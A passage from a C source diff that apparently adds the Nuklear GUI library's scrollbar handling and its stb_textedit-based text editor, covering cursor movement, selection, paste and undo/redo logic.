NK_CLAMP(0, scroll_offset, target - scroll->w); + } else if (nk_input_is_key_pressed(in, NK_KEY_SCROLL_START)) { + /* update cursor to the beginning */ + if (o == NK_VERTICAL) scroll_offset = 0; + } else if (nk_input_is_key_pressed(in, NK_KEY_SCROLL_END)) { + /* update cursor to the end */ + if (o == NK_VERTICAL) scroll_offset = target - scroll->h; + } + } + if (*state & NK_WIDGET_STATE_HOVER && !nk_input_is_mouse_prev_hovering_rect(in, *scroll)) + *state |= NK_WIDGET_STATE_ENTERED; + else if (nk_input_is_mouse_prev_hovering_rect(in, *scroll)) + *state |= NK_WIDGET_STATE_LEFT; + return scroll_offset; +} +NK_LIB void +nk_draw_scrollbar(struct nk_command_buffer *out, nk_flags state, + const struct nk_style_scrollbar *style, const struct nk_rect *bounds, + const struct nk_rect *scroll) +{ + const struct nk_style_item *background; + const struct nk_style_item *cursor; + + /* select correct colors/images to draw */ + if (state & NK_WIDGET_STATE_ACTIVED) { + background = &style->active; + cursor = &style->cursor_active; + } else if (state & NK_WIDGET_STATE_HOVER) { + background = &style->hover; + cursor = &style->cursor_hover; + } else { + background = &style->normal; + cursor = &style->cursor_normal; + } + + /* draw background */ + if (background->type == NK_STYLE_ITEM_COLOR) { + nk_fill_rect(out, *bounds, style->rounding, background->data.color); + nk_stroke_rect(out, *bounds, style->rounding, style->border, style->border_color); + } else { + nk_draw_image(out, *bounds, &background->data.image, nk_white); + } + + /* draw cursor */ + if (cursor->type == NK_STYLE_ITEM_COLOR) { + nk_fill_rect(out, *scroll, style->rounding_cursor, cursor->data.color); + nk_stroke_rect(out, *scroll, style->rounding_cursor, style->border_cursor, style->cursor_border_color); + } else nk_draw_image(out, *scroll, &cursor->data.image, nk_white); +} +NK_LIB float +nk_do_scrollbarv(nk_flags *state, + struct nk_command_buffer *out, struct nk_rect scroll, int has_scrolling, + float offset, float target, float step, float button_pixel_inc, + const struct nk_style_scrollbar *style, struct nk_input *in, + const struct nk_user_font *font) +{ + struct nk_rect empty_north; + struct nk_rect empty_south; + struct nk_rect cursor; + + float scroll_step; + float scroll_offset; + float scroll_off; + float scroll_ratio; + + NK_ASSERT(out); + NK_ASSERT(style); + NK_ASSERT(state); + if (!out || !style) return 0; + + scroll.w = NK_MAX(scroll.w, 1); + scroll.h = NK_MAX(scroll.h, 0); + if (target <= scroll.h) return 0; + + /* optional scrollbar buttons */ + if (style->show_buttons) { + nk_flags ws; + float scroll_h; + struct nk_rect button; + + button.x = scroll.x; + button.w = scroll.w; + button.h = scroll.w; + + scroll_h = NK_MAX(scroll.h - 2 * button.h,0); + scroll_step = NK_MIN(step, button_pixel_inc); + + /* decrement button */ + button.y = scroll.y; + if (nk_do_button_symbol(&ws, out, button, style->dec_symbol, + NK_BUTTON_REPEATER, &style->dec_button, in, font)) + offset = offset - scroll_step; + + /* increment button */ + button.y = scroll.y + scroll.h - button.h; + if (nk_do_button_symbol(&ws, out, button, style->inc_symbol, + NK_BUTTON_REPEATER, &style->inc_button, in, font)) + offset = offset + scroll_step; + + scroll.y = scroll.y + button.h; + scroll.h = scroll_h; + } + + /* calculate scrollbar constants */ + scroll_step = NK_MIN(step, scroll.h); + scroll_offset = NK_CLAMP(0, offset, target - scroll.h); + scroll_ratio = scroll.h / target; + scroll_off = scroll_offset / target; + + /* calculate scrollbar cursor bounds */ + cursor.h = NK_MAX((scroll_ratio * scroll.h) - (2*style->border + 2*style->padding.y), 0); + cursor.y = scroll.y + (scroll_off * scroll.h) + style->border + style->padding.y; + cursor.w = scroll.w - (2 * style->border + 2 * style->padding.x); + cursor.x = scroll.x + style->border + style->padding.x; + + /* calculate empty space around cursor */ + empty_north.x = scroll.x; + empty_north.y = scroll.y; + empty_north.w = scroll.w; + empty_north.h = NK_MAX(cursor.y - scroll.y, 0); + + empty_south.x = scroll.x; + empty_south.y = cursor.y + cursor.h; + empty_south.w = scroll.w; + empty_south.h = NK_MAX((scroll.y + scroll.h) - (cursor.y + cursor.h), 0); + + /* update scrollbar */ + scroll_offset = nk_scrollbar_behavior(state, in, has_scrolling, &scroll, &cursor, + &empty_north, &empty_south, scroll_offset, target, scroll_step, NK_VERTICAL); + scroll_off = scroll_offset / target; + cursor.y = scroll.y + (scroll_off * scroll.h) + style->border_cursor + style->padding.y; + + /* draw scrollbar */ + if (style->draw_begin) style->draw_begin(out, style->userdata); + nk_draw_scrollbar(out, *state, style, &scroll, &cursor); + if (style->draw_end) style->draw_end(out, style->userdata); + return scroll_offset; +} +NK_LIB float +nk_do_scrollbarh(nk_flags *state, + struct nk_command_buffer *out, struct nk_rect scroll, int has_scrolling, + float offset, float target, float step, float button_pixel_inc, + const struct nk_style_scrollbar *style, struct nk_input *in, + const struct nk_user_font *font) +{ + struct nk_rect cursor; + struct nk_rect empty_west; + struct nk_rect empty_east; + + float scroll_step; + float scroll_offset; + float scroll_off; + float scroll_ratio; + + NK_ASSERT(out); + NK_ASSERT(style); + if (!out || !style) return 0; + + /* scrollbar background */ + scroll.h = NK_MAX(scroll.h, 1); + scroll.w = NK_MAX(scroll.w, 2 * scroll.h); + if (target <= scroll.w) return 0; + + /* optional scrollbar buttons */ + if (style->show_buttons) { + nk_flags ws; + float scroll_w; + struct nk_rect button; + button.y = scroll.y; + button.w = scroll.h; + button.h = scroll.h; + + scroll_w = scroll.w - 2 * button.w; + scroll_step = NK_MIN(step, button_pixel_inc); + + /* decrement button */ + button.x = scroll.x; + if (nk_do_button_symbol(&ws, out, button, style->dec_symbol, + NK_BUTTON_REPEATER, &style->dec_button, in, font)) + offset = offset - scroll_step; + + /* increment button */ + button.x = scroll.x + scroll.w - button.w; + if (nk_do_button_symbol(&ws, out, button, style->inc_symbol, + NK_BUTTON_REPEATER, &style->inc_button, in, font)) + offset = offset + scroll_step; + + scroll.x = scroll.x + button.w; + scroll.w = scroll_w; + } + + /* calculate scrollbar constants */ + scroll_step = NK_MIN(step, scroll.w); + scroll_offset = NK_CLAMP(0, offset, target - scroll.w); + scroll_ratio = scroll.w / target; + scroll_off = scroll_offset / target; + + /* calculate cursor bounds */ + cursor.w = (scroll_ratio * scroll.w) - (2*style->border + 2*style->padding.x); + cursor.x = scroll.x + (scroll_off * scroll.w) + style->border + style->padding.x; + cursor.h = scroll.h - (2 * style->border + 2 * style->padding.y); + cursor.y = scroll.y + style->border + style->padding.y; + + /* calculate empty space around cursor */ + empty_west.x = scroll.x; + empty_west.y = scroll.y; + empty_west.w = cursor.x - scroll.x; + empty_west.h = scroll.h; + + empty_east.x = cursor.x + cursor.w; + empty_east.y = scroll.y; + empty_east.w = (scroll.x + scroll.w) - (cursor.x + cursor.w); + empty_east.h = scroll.h; + + /* update scrollbar */ + scroll_offset = nk_scrollbar_behavior(state, in, has_scrolling, &scroll, &cursor, + &empty_west, &empty_east, scroll_offset, target, scroll_step, NK_HORIZONTAL); + scroll_off = scroll_offset / target; + cursor.x = scroll.x + (scroll_off * scroll.w); + + /* draw scrollbar */ + if (style->draw_begin) style->draw_begin(out, style->userdata); + nk_draw_scrollbar(out, *state, style, &scroll, &cursor); + if (style->draw_end) style->draw_end(out, style->userdata); + return scroll_offset; +} + + + + + +/* =============================================================== + * + * TEXT EDITOR + * + * ===============================================================*/ +/* stb_textedit.h - v1.8 - public domain - Sean Barrett */ +struct nk_text_find { + float x,y; /* position of n'th character */ + float height; /* height of line */ + int first_char, length; /* first char of row, and length */ + int prev_first; /*_ first char of previous row */ +}; + +struct nk_text_edit_row { + float x0,x1; + /* starting x location, end x location (allows for align=right, etc) */ + float baseline_y_delta; + /* position of baseline relative to previous row's baseline*/ + float ymin,ymax; + /* height of row above and below baseline */ + int num_chars; +}; + +/* forward declarations */ +NK_INTERN void nk_textedit_makeundo_delete(struct nk_text_edit*, int, int); +NK_INTERN void nk_textedit_makeundo_insert(struct nk_text_edit*, int, int); +NK_INTERN void nk_textedit_makeundo_replace(struct nk_text_edit*, int, int, int); +#define NK_TEXT_HAS_SELECTION(s) ((s)->select_start != (s)->select_end) + +NK_INTERN float +nk_textedit_get_width(const struct nk_text_edit *edit, int line_start, int char_id, + const struct nk_user_font *font) +{ + int len = 0; + nk_rune unicode = 0; + const char *str = nk_str_at_const(&edit->string, line_start + char_id, &unicode, &len); + return font->width(font->userdata, font->height, str, len); +} +NK_INTERN void +nk_textedit_layout_row(struct nk_text_edit_row *r, struct nk_text_edit *edit, + int line_start_id, float row_height, const struct nk_user_font *font) +{ + int l; + int glyphs = 0; + nk_rune unicode; + const char *remaining; + int len = nk_str_len_char(&edit->string); + const char *end = nk_str_get_const(&edit->string) + len; + const char *text = nk_str_at_const(&edit->string, line_start_id, &unicode, &l); + const struct nk_vec2 size = nk_text_calculate_text_bounds(font, + text, (int)(end - text), row_height, &remaining, 0, &glyphs, NK_STOP_ON_NEW_LINE); + + r->x0 = 0.0f; + r->x1 = size.x; + r->baseline_y_delta = size.y; + r->ymin = 0.0f; + r->ymax = size.y; + r->num_chars = glyphs; +} +NK_INTERN int +nk_textedit_locate_coord(struct nk_text_edit *edit, float x, float y, + const struct nk_user_font *font, float row_height) +{ + struct nk_text_edit_row r; + int n = edit->string.len; + float base_y = 0, prev_x; + int i=0, k; + + r.x0 = r.x1 = 0; + r.ymin = r.ymax = 0; + r.num_chars = 0; + + /* search rows to find one that straddles 'y' */ + while (i < n) { + nk_textedit_layout_row(&r, edit, i, row_height, font); + if (r.num_chars <= 0) + return n; + + if (i==0 && y < base_y + r.ymin) + return 0; + + if (y < base_y + r.ymax) + break; + + i += r.num_chars; + base_y += r.baseline_y_delta; + } + + /* below all text, return 'after' last character */ + if (i >= n) + return n; + + /* check if it's before the beginning of the line */ + if (x < r.x0) + return i; + + /* check if it's before the end of the line */ + if (x < r.x1) { + /* search characters in row for one that straddles 'x' */ + k = i; + prev_x = r.x0; + for (i=0; i < r.num_chars; ++i) { + float w = nk_textedit_get_width(edit, k, i, font); + if (x < prev_x+w) { + if (x < prev_x+w/2) + return k+i; + else return k+i+1; + } + prev_x += w; + } + /* shouldn't happen, but if it does, fall through to end-of-line case */ + } + + /* if the last character is a newline, return that. + * otherwise return 'after' the last character */ + if (nk_str_rune_at(&edit->string, i+r.num_chars-1) == '\n') + return i+r.num_chars-1; + else return i+r.num_chars; +} +NK_LIB void +nk_textedit_click(struct nk_text_edit *state, float x, float y, + const struct nk_user_font *font, float row_height) +{ + /* API click: on mouse down, move the cursor to the clicked location, + * and reset the selection */ + state->cursor = nk_textedit_locate_coord(state, x, y, font, row_height); + state->select_start = state->cursor; + state->select_end = state->cursor; + state->has_preferred_x = 0; +} +NK_LIB void +nk_textedit_drag(struct nk_text_edit *state, float x, float y, + const struct nk_user_font *font, float row_height) +{ + /* API drag: on mouse drag, move the cursor and selection endpoint + * to the clicked location */ + int p = nk_textedit_locate_coord(state, x, y, font, row_height); + if (state->select_start == state->select_end) + state->select_start = state->cursor; + state->cursor = state->select_end = p; +} +NK_INTERN void +nk_textedit_find_charpos(struct nk_text_find *find, struct nk_text_edit *state, + int n, int single_line, const struct nk_user_font *font, float row_height) +{ + /* find the x/y location of a character, and remember info about the previous + * row in case we get a move-up event (for page up, we'll have to rescan) */ + struct nk_text_edit_row r; + int prev_start = 0; + int z = state->string.len; + int i=0, first; + + nk_zero_struct(r); + if (n == z) { + /* if it's at the end, then find the last line -- simpler than trying to + explicitly handle this case in the regular code */ + nk_textedit_layout_row(&r, state, 0, row_height, font); + if (single_line) { + find->first_char = 0; + find->length = z; + } else { + while (i < z) { + prev_start = i; + i += r.num_chars; + nk_textedit_layout_row(&r, state, i, row_height, font); + } + + find->first_char = i; + find->length = r.num_chars; + } + find->x = r.x1; + find->y = r.ymin; + find->height = r.ymax - r.ymin; + find->prev_first = prev_start; + return; + } + + /* search rows to find the one that straddles character n */ + find->y = 0; + + for(;;) { + nk_textedit_layout_row(&r, state, i, row_height, font); + if (n < i + r.num_chars) break; + prev_start = i; + i += r.num_chars; + find->y += r.baseline_y_delta; + } + + find->first_char = first = i; + find->length = r.num_chars; + find->height = r.ymax - r.ymin; + find->prev_first = prev_start; + + /* now scan to find xpos */ + find->x = r.x0; + for (i=0; first+i < n; ++i) + find->x += nk_textedit_get_width(state, first, i, font); +} +NK_INTERN void +nk_textedit_clamp(struct nk_text_edit *state) +{ + /* make the selection/cursor state valid if client altered the string */ + int n = state->string.len; + if (NK_TEXT_HAS_SELECTION(state)) { + if (state->select_start > n) state->select_start = n; + if (state->select_end > n) state->select_end = n; + /* if clamping forced them to be equal, move the cursor to match */ + if (state->select_start == state->select_end) + state->cursor = state->select_start; + } + if (state->cursor > n) state->cursor = n; +} +NK_API void +nk_textedit_delete(struct nk_text_edit *state, int where, int len) +{ + /* delete characters while updating undo */ + nk_textedit_makeundo_delete(state, where, len); + nk_str_delete_runes(&state->string, where, len); + state->has_preferred_x = 0; +} +NK_API void +nk_textedit_delete_selection(struct nk_text_edit *state) +{ + /* delete the section */ + nk_textedit_clamp(state); + if (NK_TEXT_HAS_SELECTION(state)) { + if (state->select_start < state->select_end) { + nk_textedit_delete(state, state->select_start, + state->select_end - state->select_start); + state->select_end = state->cursor = state->select_start; + } else { + nk_textedit_delete(state, state->select_end, + state->select_start - state->select_end); + state->select_start = state->cursor = state->select_end; + } + state->has_preferred_x = 0; + } +} +NK_INTERN void +nk_textedit_sortselection(struct nk_text_edit *state) +{ + /* canonicalize the selection so start <= end */ + if (state->select_end < state->select_start) { + int temp = state->select_end; + state->select_end = state->select_start; + state->select_start = temp; + } +} +NK_INTERN void +nk_textedit_move_to_first(struct nk_text_edit *state) +{ + /* move cursor to first character of selection */ + if (NK_TEXT_HAS_SELECTION(state)) { + nk_textedit_sortselection(state); + state->cursor = state->select_start; + state->select_end = state->select_start; + state->has_preferred_x = 0; + } +} +NK_INTERN void +nk_textedit_move_to_last(struct nk_text_edit *state) +{ + /* move cursor to last character of selection */ + if (NK_TEXT_HAS_SELECTION(state)) { + nk_textedit_sortselection(state); + nk_textedit_clamp(state); + state->cursor = state->select_end; + state->select_start = state->select_end; + state->has_preferred_x = 0; + } +} +NK_INTERN int +nk_is_word_boundary( struct nk_text_edit *state, int idx) +{ + int len; + nk_rune c; + if (idx <= 0) return 1; + if (!nk_str_at_rune(&state->string, idx, &c, &len)) return 1; + return (c == ' ' || c == '\t' ||c == 0x3000 || c == ',' || c == ';' || + c == '(' || c == ')' || c == '{' || c == '}' || c == '[' || c == ']' || + c == '|'); +} +NK_INTERN int +nk_textedit_move_to_word_previous(struct nk_text_edit *state) +{ + int c = state->cursor - 1; + while( c >= 0 && !nk_is_word_boundary(state, c)) + --c; + + if( c < 0 ) + c = 0; + + return c; +} +NK_INTERN int +nk_textedit_move_to_word_next(struct nk_text_edit *state) +{ + const int len = state->string.len; + int c = state->cursor+1; + while( c < len && !nk_is_word_boundary(state, c)) + ++c; + + if( c > len ) + c = len; + + return c; +} +NK_INTERN void +nk_textedit_prep_selection_at_cursor(struct nk_text_edit *state) +{ + /* update selection and cursor to match each other */ + if (!NK_TEXT_HAS_SELECTION(state)) + state->select_start = state->select_end = state->cursor; + else state->cursor = state->select_end; +} +NK_API int +nk_textedit_cut(struct nk_text_edit *state) +{ + /* API cut: delete selection */ + if (state->mode == NK_TEXT_EDIT_MODE_VIEW) + return 0; + if (NK_TEXT_HAS_SELECTION(state)) { + nk_textedit_delete_selection(state); /* implicitly clamps */ + state->has_preferred_x = 0; + return 1; + } + return 0; +} +NK_API int +nk_textedit_paste(struct nk_text_edit *state, char const *ctext, int len) +{ + /* API paste: replace existing selection with passed-in text */ + int glyphs; + const char *text = (const char *) ctext; + if (state->mode == NK_TEXT_EDIT_MODE_VIEW) return 0; + + /* if there's a selection, the paste should delete it */ + nk_textedit_clamp(state); + nk_textedit_delete_selection(state); + + /* try to insert the characters */ + glyphs = nk_utf_len(ctext, len); + if (nk_str_insert_text_char(&state->string, state->cursor, text, len)) { + nk_textedit_makeundo_insert(state, state->cursor, glyphs); + state->cursor += len; + state->has_preferred_x = 0; + return 1; + } + /* remove the undo since we didn't actually insert the characters */ + if (state->undo.undo_point) + --state->undo.undo_point; + return 0; +} +NK_API void +nk_textedit_text(struct nk_text_edit *state, const char *text, int total_len) +{ + nk_rune unicode; + int glyph_len; + int text_len = 0; + + NK_ASSERT(state); + NK_ASSERT(text); + if (!text || !total_len || state->mode == NK_TEXT_EDIT_MODE_VIEW) return; + + glyph_len = nk_utf_decode(text, &unicode, total_len); + while ((text_len < total_len) && glyph_len) + { + /* don't insert a backward delete, just process the event */ + if (unicode == 127) goto next; + /* can't add newline in single-line mode */ + if (unicode == '\n' && state->single_line) goto next; + /* filter incoming text */ + if (state->filter && !state->filter(state, unicode)) goto next; + + if (!NK_TEXT_HAS_SELECTION(state) && + state->cursor < state->string.len) + { + if (state->mode == NK_TEXT_EDIT_MODE_REPLACE) { + nk_textedit_makeundo_replace(state, state->cursor, 1, 1); + nk_str_delete_runes(&state->string, state->cursor, 1); + } + if (nk_str_insert_text_utf8(&state->string, state->cursor, + text+text_len, 1)) + { + ++state->cursor; + state->has_preferred_x = 0; + } + } else { + nk_textedit_delete_selection(state); /* implicitly clamps */ + if (nk_str_insert_text_utf8(&state->string, state->cursor, + text+text_len, 1)) + { + nk_textedit_makeundo_insert(state, state->cursor, 1); + ++state->cursor; + state->has_preferred_x = 0; + } + } + next: + text_len += glyph_len; + glyph_len = nk_utf_decode(text + text_len, &unicode, total_len-text_len); + } +} +NK_LIB void +nk_textedit_key(struct nk_text_edit *state, enum nk_keys key, int shift_mod, + const struct nk_user_font *font, float row_height) +{ +retry: + switch (key) + { + case NK_KEY_NONE: + case NK_KEY_CTRL: + case NK_KEY_ENTER: + case NK_KEY_SHIFT: + case NK_KEY_TAB: + case NK_KEY_COPY: + case NK_KEY_CUT: + case NK_KEY_PASTE: + case NK_KEY_MAX: + default: break; + case NK_KEY_TEXT_UNDO: + nk_textedit_undo(state); + state->has_preferred_x = 0; + break; + + case NK_KEY_TEXT_REDO: + nk_textedit_redo(state); + state->has_preferred_x = 0; + break; + + case NK_KEY_TEXT_SELECT_ALL: + nk_textedit_select_all(state); + state->has_preferred_x = 0; + break; + + case NK_KEY_TEXT_INSERT_MODE: + if (state->mode == NK_TEXT_EDIT_MODE_VIEW) + state->mode = NK_TEXT_EDIT_MODE_INSERT; + break; + case NK_KEY_TEXT_REPLACE_MODE: + if (state->mode == NK_TEXT_EDIT_MODE_VIEW) + state->mode = NK_TEXT_EDIT_MODE_REPLACE; + break; + case NK_KEY_TEXT_RESET_MODE: + if (state->mode == NK_TEXT_EDIT_MODE_INSERT || + state->mode == NK_TEXT_EDIT_MODE_REPLACE) + state->mode = NK_TEXT_EDIT_MODE_VIEW; + break; + + case NK_KEY_LEFT: + if (shift_mod) { + nk_textedit_clamp(state); + nk_textedit_prep_selection_at_cursor(state); + /* move selection left */ + if (state->select_end > 0) + --state->select_end; + state->cursor = state->select_end; + state->has_preferred_x = 0; + } else { + /* if currently there's a selection, + * move cursor to start of selection */ + if (NK_TEXT_HAS_SELECTION(state)) + nk_textedit_move_to_first(state); + else if (state->cursor > 0) + --state->cursor; + state->has_preferred_x = 0; + } break; + + case NK_KEY_RIGHT: + if (shift_mod) { + nk_textedit_prep_selection_at_cursor(state); + /* move selection right */ + ++state->select_end; + nk_textedit_clamp(state); + state->cursor = state->select_end; + state->has_preferred_x = 0; + } else { + /* if currently there's a selection, + * move cursor to end of selection */ + if (NK_TEXT_HAS_SELECTION(state)) + nk_textedit_move_to_last(state); + else ++state->cursor; + nk_textedit_clamp(state); + state->has_preferred_x = 0; + } break; + + case NK_KEY_TEXT_WORD_LEFT: + if (shift_mod) { + if( !NK_TEXT_HAS_SELECTION( state ) ) + nk_textedit_prep_selection_at_cursor(state); + state->cursor = nk_textedit_move_to_word_previous(state); + state->select_end = state->cursor; + nk_textedit_clamp(state ); + } else { + if (NK_TEXT_HAS_SELECTION(state)) + nk_textedit_move_to_first(state); + else { + state->cursor = nk_textedit_move_to_word_previous(state); + nk_textedit_clamp(state ); + } + } break; + + case NK_KEY_TEXT_WORD_RIGHT: + if (shift_mod) { + if( !NK_TEXT_HAS_SELECTION( state ) ) + nk_textedit_prep_selection_at_cursor(state); + state->cursor = nk_textedit_move_to_word_next(state); + state->select_end = state->cursor; + nk_textedit_clamp(state); + } else { + if (NK_TEXT_HAS_SELECTION(state)) + nk_textedit_move_to_last(state); + else { + state->cursor = nk_textedit_move_to_word_next(state); + nk_textedit_clamp(state ); + } + } break; + + case NK_KEY_DOWN: { + struct nk_text_find find; + struct nk_text_edit_row row; + int i, sel = shift_mod; + + if (state->single_line) { + /* on windows, up&down in single-line behave like left&right */ + key = NK_KEY_RIGHT; + goto retry; + } + + if (sel) + nk_textedit_prep_selection_at_cursor(state); + else if (NK_TEXT_HAS_SELECTION(state)) + nk_textedit_move_to_last(state); + + /* compute current position of cursor point */ + nk_textedit_clamp(state); + nk_textedit_find_charpos(&find, state, state->cursor, state->single_line, + font, row_height); + + /* now find character position down a row */ + if (find.length) + { + float x; + float goal_x = state->has_preferred_x ? state->preferred_x : find.x; + int start = find.first_char + find.length; + + state->cursor = start; + nk_textedit_layout_row(&row, state, state->cursor, row_height, font); + x = row.x0; + + for (i=0; i < row.num_chars && x < row.x1; ++i) { + float dx = nk_textedit_get_width(state, start, i, font); + x += dx; + if (x > goal_x) + break; + ++state->cursor; + } + nk_textedit_clamp(state); + + state->has_preferred_x = 1; + state->preferred_x = goal_x; + if (sel) + state->select_end = state->cursor; + } + } break; + + case NK_KEY_UP: { + struct nk_text_find find; + struct nk_text_edit_row row; + int i, sel = shift_mod; + + if (state->single_line) { + /* on windows, up&down become left&right */ + key = NK_KEY_LEFT; + goto retry; + } + + if (sel) + nk_textedit_prep_selection_at_cursor(state); + else if (NK_TEXT_HAS_SELECTION(state)) + nk_textedit_move_to_first(state); + + /* compute current position of cursor point */ + nk_textedit_clamp(state); + nk_textedit_find_charpos(&find, state, state->cursor, state->single_line, + font, row_height); + + /* can only go up if there's a previous row */ + if (find.prev_first != find.first_char) { + /* now find character position up a row */ + float x; + float goal_x = state->has_preferred_x ? state->preferred_x : find.x; + + state->cursor = find.prev_first; + nk_textedit_layout_row(&row, state, state->cursor, row_height, font); + x = row.x0; + + for (i=0; i < row.num_chars && x < row.x1; ++i) { + float dx = nk_textedit_get_width(state, find.prev_first, i, font); + x += dx; + if (x > goal_x) + break; + ++state->cursor; + } + nk_textedit_clamp(state); + + state->has_preferred_x = 1; + state->preferred_x = goal_x; + if (sel) state->select_end = state->cursor; + } + } break; + + case NK_KEY_DEL: + if (state->mode == NK_TEXT_EDIT_MODE_VIEW) + break; + if (NK_TEXT_HAS_SELECTION(state)) + nk_textedit_delete_selection(state); + else { + int n = state->string.len; + if (state->cursor < n) + nk_textedit_delete(state, state->cursor, 1); + } + state->has_preferred_x = 0; + break; + + case NK_KEY_BACKSPACE: + if (state->mode == NK_TEXT_EDIT_MODE_VIEW) + break; + if (NK_TEXT_HAS_SELECTION(state)) + nk_textedit_delete_selection(state); + else { + nk_textedit_clamp(state); + if (state->cursor > 0) { + nk_textedit_delete(state, state->cursor-1, 1); + --state->cursor; + } + } + state->has_preferred_x = 0; + break; + + case NK_KEY_TEXT_START: + if (shift_mod) { + nk_textedit_prep_selection_at_cursor(state); + state->cursor = state->select_end = 0; + state->has_preferred_x = 0; + } else { + state->cursor = state->select_start = state->select_end = 0; + state->has_preferred_x = 0; + } + break; + + case NK_KEY_TEXT_END: + if (shift_mod) { + nk_textedit_prep_selection_at_cursor(state); + state->cursor = state->select_end = state->string.len; + state->has_preferred_x = 0; + } else { + state->cursor = state->string.len; + state->select_start = state->select_end = 0; + state->has_preferred_x = 0; + } + break; + + case NK_KEY_TEXT_LINE_START: { + if (shift_mod) { + struct nk_text_find find; + nk_textedit_clamp(state); + nk_textedit_prep_selection_at_cursor(state); + if (state->string.len && state->cursor == state->string.len) + --state->cursor; + nk_textedit_find_charpos(&find, state,state->cursor, state->single_line, + font, row_height); + state->cursor = state->select_end = find.first_char; + state->has_preferred_x = 0; + } else { + struct nk_text_find find; + if (state->string.len && state->cursor == state->string.len) + --state->cursor; + nk_textedit_clamp(state); + nk_textedit_move_to_first(state); + nk_textedit_find_charpos(&find, state, state->cursor, state->single_line, + font, row_height); + state->cursor = find.first_char; + state->has_preferred_x = 0; + } + } break; + + case NK_KEY_TEXT_LINE_END: { + if (shift_mod) { + struct nk_text_find find; + nk_textedit_clamp(state); + nk_textedit_prep_selection_at_cursor(state); + nk_textedit_find_charpos(&find, state, state->cursor, state->single_line, + font, row_height); + state->has_preferred_x = 0; + state->cursor = find.first_char + find.length; + if (find.length > 0 && nk_str_rune_at(&state->string, state->cursor-1) == '\n') + --state->cursor; + state->select_end = state->cursor; + } else { + struct nk_text_find find; + nk_textedit_clamp(state); + nk_textedit_move_to_first(state); + nk_textedit_find_charpos(&find, state, state->cursor, state->single_line, + font, row_height); + + state->has_preferred_x = 0; + state->cursor = find.first_char + find.length; + if (find.length > 0 && nk_str_rune_at(&state->string, state->cursor-1) == '\n') + --state->cursor; + }} break; + } +} +NK_INTERN void +nk_textedit_flush_redo(struct nk_text_undo_state *state) +{ + state->redo_point = NK_TEXTEDIT_UNDOSTATECOUNT; + state->redo_char_point = NK_TEXTEDIT_UNDOCHARCOUNT; +} +NK_INTERN void +nk_textedit_discard_undo(struct nk_text_undo_state *state) +{ + /* discard the oldest entry in the undo list */ + if (state->undo_point > 0) { + /* if the 0th undo state has characters, clean those up */ + if (state->undo_rec[0].char_storage >= 0) { + int n = state->undo_rec[0].insert_length, i; + /* delete n characters from all other records */ + state->undo_char_point = (short)(state->undo_char_point - n); + NK_MEMCPY(state->undo_char, state->undo_char + n, + (nk_size)state->undo_char_point*sizeof(nk_rune)); + for (i=0; i < state->undo_point; ++i) { + if (state->undo_rec[i].char_storage >= 0) + state->undo_rec[i].char_storage = (short) + (state->undo_rec[i].char_storage - n); + } + } + --state->undo_point; + NK_MEMCPY(state->undo_rec, state->undo_rec+1, + (nk_size)((nk_size)state->undo_point * sizeof(state->undo_rec[0]))); + } +} +NK_INTERN void +nk_textedit_discard_redo(struct nk_text_undo_state *state) +{ +/* discard the oldest entry in the redo list--it's bad if this + ever happens, but because undo & redo have to store the actual + characters in different cases, the redo character buffer can + fill up even though the undo buffer didn't */ + nk_size num; + int k = NK_TEXTEDIT_UNDOSTATECOUNT-1; + if (state->redo_point <= k) { + /* if the k'th undo state has characters, clean those up */ + if (state->undo_rec[k].char_storage >= 0) { + int n = state->undo_rec[k].insert_length, i; + /* delete n characters from all other records */ + state->redo_char_point = (short)(state->redo_char_point + n); + num = (nk_size)(NK_TEXTEDIT_UNDOCHARCOUNT - state->redo_char_point); + NK_MEMCPY(state->undo_char + state->redo_char_point, + state->undo_char + state->redo_char_point-n, num * sizeof(char)); + for (i = state->redo_point; i < k; ++i) { + if (state->undo_rec[i].char_storage >= 0) { + state->undo_rec[i].char_storage = (short) + (state->undo_rec[i].char_storage + n); + } + } + } + ++state->redo_point; + num = (nk_size)(NK_TEXTEDIT_UNDOSTATECOUNT - state->redo_point); + if (num) NK_MEMCPY(state->undo_rec + state->redo_point-1, + state->undo_rec + state->redo_point, num * sizeof(state->undo_rec[0])); + } +} +NK_INTERN struct nk_text_undo_record* +nk_textedit_create_undo_record(struct nk_text_undo_state *state, int numchars) +{ + /* any time we create a new undo record, we discard redo*/ + nk_textedit_flush_redo(state); + + /* if we have no free records, we have to make room, + * by sliding the existing records down */ + if (state->undo_point == NK_TEXTEDIT_UNDOSTATECOUNT) + nk_textedit_discard_undo(state); + + /* if the characters to store won't possibly fit in the buffer, + * we can't undo */ + if (numchars > NK_TEXTEDIT_UNDOCHARCOUNT) { + state->undo_point = 0; + state->undo_char_point = 0; + return 0; + } + + /* if we don't have enough free characters in the buffer, + * we have to make room */ + while (state->undo_char_point + numchars > NK_TEXTEDIT_UNDOCHARCOUNT) + nk_textedit_discard_undo(state); + return &state->undo_rec[state->undo_point++]; +} +NK_INTERN nk_rune* +nk_textedit_createundo(struct nk_text_undo_state *state, int pos, + int insert_len, int delete_len) +{ + struct nk_text_undo_record *r = nk_textedit_create_undo_record(state, insert_len); + if (r == 0) + return 0; + + r->where = pos; + r->insert_length = (short) insert_len; + r->delete_length = (short) delete_len; + + if (insert_len == 0) { + r->char_storage = -1; + return 0; + } else { + r->char_storage = state->undo_char_point; + state->undo_char_point = (short)(state->undo_char_point + insert_len); + return &state->undo_char[r->char_storage]; + } +} +NK_API void +nk_textedit_undo(struct nk_text_edit *state) +{ + struct nk_text_undo_state *s = &state->undo; + struct nk_text_undo_record u, *r; + if (s->undo_point == 0) + return; + + /* we need to do two things: apply the undo record, and create a redo record */ + u = s->undo_rec[s->undo_point-1]; + r = &s->undo_rec[s->redo_point-1]; + r->char_storage = -1; + + r->insert_length = u.delete_length; + r->delete_length = u.insert_length; + r->where = u.where; + + if (u.delete_length) + { + /* if the undo record says to delete characters, then the redo record will + need to re-insert the characters that get deleted, so we need to store + them. + there are three cases: + - there's enough room to store the characters + - characters stored for *redoing* don't leave room for redo + - characters stored for *undoing* don't leave room for redo + if the last is true, we have to bail */ + if (s->undo_char_point + u.delete_length >= NK_TEXTEDIT_UNDOCHARCOUNT) { + /* the undo records take up too much character space; there's no space + * to store the redo characters */ + r->insert_length = 0; + } else { + int i; + /* there's definitely room to store the characters eventually */ + while (s->undo_char_point + u.delete_length > s->redo_char_point) { + /* there's currently not enough room, so discard a redo record */ + nk_textedit_discard_redo(s); + /* should never happen: */ + if (s->redo_point == NK_TEXTEDIT_UNDOSTATECOUNT) + return; + } + + r = &s->undo_rec[s->redo_point-1]; + r->char_storage = (short)(s->redo_char_point - u.delete_length); + s->redo_char_point 